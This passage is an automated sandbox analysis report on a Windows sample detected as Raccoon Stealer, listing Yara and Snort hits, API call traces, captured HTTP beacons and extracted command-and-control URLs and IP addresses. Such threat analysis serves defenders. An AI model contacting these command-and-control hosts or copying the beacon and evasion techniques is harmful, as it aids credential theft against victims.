Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdbf source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernelbase.pdb source: WerFault.exe, 00000010.00000002.502132177.0000000002F52000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: c:\TFS\DevDiv\OC-CT-Main23Rel-Dev14\src\src\Waverton\Cct.Contracts.Public\obj\VS140\Release\Release\Microsoft.VisualStudio.WindowsAzure.Contracts.2.3.pdb source: qpwx2wT5ky.exe
Source:	Binary string: cryptbase.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_004604F2 FindFirstFileExW,		2_2_004604F2
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0043F85B FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,		2_2_0043F85B

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0043615F __EH_prolog,GetLogicalDriveStringsA,

2_2_0043615F

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2034960 ET TROJAN Win32.Raccoon Stealer Checkin M6 194.180.174.147:80 -> 192.168.2.3:49814

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://188.166.1.115/hdm3prapor
Source: Malware configuration extractor	URLs: http://91.219.236.139/hdm3prapor
Source: Malware configuration extractor	URLs: http://194.180.174.147/hdm3prapor
Source: Malware configuration extractor	URLs: http://185.3.95.153/hdm3prapor
Source: Malware configuration extractor	URLs: http://185.163.204.22/hdm3prapor
Source: Malware configuration extractor	URLs: https://t.me/hdm3prapor

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: global traffic	HTTP traffic detected: GET /hdm3prapor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 188.166.1.115
Source: global traffic	HTTP traffic detected: GET /hdm3prapor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 188.166.1.115
Source: global traffic	HTTP traffic detected: GET /hdm3prapor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 194.180.174.147
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 159.223.25.220

Source: Joe Sandbox View

IP Address: 188.166.1.115 188.166.1.115

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 28 Jan 2022 23:12:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.1.115
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.139
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.139
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.139
Source: unknown	TCP traffic detected without corresponding DNS query: 91.219.236.139
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.25.220
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.25.220
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.25.220
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.25.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.25.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.147
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.25.220

Source: WerFault.exe, 00000010.00000002.503229027.0000000005329000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.500486218.0000000005329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Amcache.hve.16.dr	String found in binary or memory: http://upx.sf.net

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 159.223.25.220

Source: global traffic	HTTP traffic detected: GET /hdm3prapor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 188.166.1.115
Source: global traffic	HTTP traffic detected: GET /hdm3prapor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 188.166.1.115
Source: global traffic	HTTP traffic detected: GET /hdm3prapor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: 194.180.174.147

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0042B173 __EH_prolog,GdiplusStartup,GetDesktopWindow,GetWindowRect,GetWindowDC,GetDeviceCaps,CreateCompatibleDC,CreateDIBSection,DeleteDC,DeleteDC,DeleteDC,SaveDC,SelectObject,BitBlt,RestoreDC,DeleteDC,DeleteDC,DeleteDC,GdipAlloc,GdipCreateBitmapFromHBITMAP,_mbstowcs,GdipSaveImageToFile,DeleteObject,GdiplusShutdown,

2_2_0042B173

E-Banking Fraud

Yara detected Raccoon Stealer

Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.320185486.000000000468C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qpwx2wT5ky.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LaunchWinApp.exe PID: 5980, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 2.2.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.2.LaunchWinApp.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.468cf00.3.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 2.0.LaunchWinApp.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen
Source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Raccoon stealer payload Author: ditekSHen

.NET source code contains very large array initializations

Source: qpwx2wT5ky.exe, OuCPJ4q0f2/D5GjPfY8gl.cs

Large array initialization: h6MujDbFZc: array initializer size 917520

Source: qpwx2wT5ky.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 2.2.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 2.0.LaunchWinApp.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.2.LaunchWinApp.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
